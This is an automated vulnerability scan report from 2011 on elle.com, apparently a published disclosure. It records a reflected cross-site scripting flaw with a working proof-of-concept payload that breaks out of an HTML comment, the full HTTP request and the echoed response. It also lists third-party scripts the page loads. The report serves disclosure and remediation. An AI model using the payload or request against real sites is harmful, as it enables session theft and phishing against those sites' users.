XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, elle.com

Report generated by XSS.CX at Sat Oct 29 08:51:22 CDT 2011.

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading



1. Cross-site scripting (reflected)

2. Cross-domain script include



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.elle.com
Path:   /Beauty/Hair/The-Best-Hair-In-America-2011

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload a3b87--><img%20src%3da%20onerror%3dalert(1)>b24fdf033b was submitted in the REST URL parameter 1. This input was echoed as a3b87--><img src=a onerror=alert(1)>b24fdf033b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /Beautya3b87--><img%20src%3da%20onerror%3dalert(1)>b24fdf033b/Hair/The-Best-Hair-In-America-2011 HTTP/1.1
Host: www.elle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Unix) DAV/2 PHP/5.2.12 SVN/1.5.5
X-Powered-By: eZ Publish
Pragma: no-cache
Last-Modified: Wed, 26 Oct 2011 18:25:50 GMT
Served-by: www.elle.com
Content-Language: en-US
Status: 404 Not Found
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, must-revalidate
Expires: Wed, 26 Oct 2011 18:25:52 GMT
Date: Wed, 26 Oct 2011 18:25:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 46455

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">



...[SNIP]...
<!-- Path: /beautya3b87--><img src=a onerror=alert(1)>b24fdf033b -->
...[SNIP]...

2. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.elle.com
Path:   /Beauty/Hair/The-Best-Hair-In-America-2011

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /Beauty/Hair/The-Best-Hair-In-America-2011 HTTP/1.1
Host: www.elle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Unix) DAV/2 PHP/5.2.12 SVN/1.5.5
X-Powered-By: PHP/5.2.12
Content-Type: text/html; charset=utf-8
Date: Wed, 26 Oct 2011 18:24:40 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 75372

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">



...[SNIP]...
<meta property="fb:page_id" content="31911516300" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
</script><script language="JavaScript" type="text/javascript" src="http://hfm.checkm8.com/adam/cm8adam_1_call.js"></script>
...[SNIP]...
</a>    
       
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</ul>


<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...
<span class="alignleft">
               
           <script src="http://cdn.gigya.com/JS/socialize.js?apiKey=2_QkI3B-9Wy1y1v97CITt4ef0DHkYfnaFmVX7nTCQylyKBJPjSLYYmxITrUJWUXwSv" type="text/javascript"></script>
...[SNIP]...
<div id="smarttout">
<script src="http://ads.hearstmags.com/ams/api.js?pos_name=AMS_ELLE_NETWORKTOUT"></script>
...[SNIP]...
<div class="ad-300x80" style="margin-bottom: 10px;">
               
               <script src="http://ads.hearstmags.com/ams/api.js?pos_name=AMS_CIRC_ELM_300X80&amp;ha=1"></script>
...[SNIP]...

Report generated by XSS.CX at Sat Oct 29 08:51:22 CDT 2011.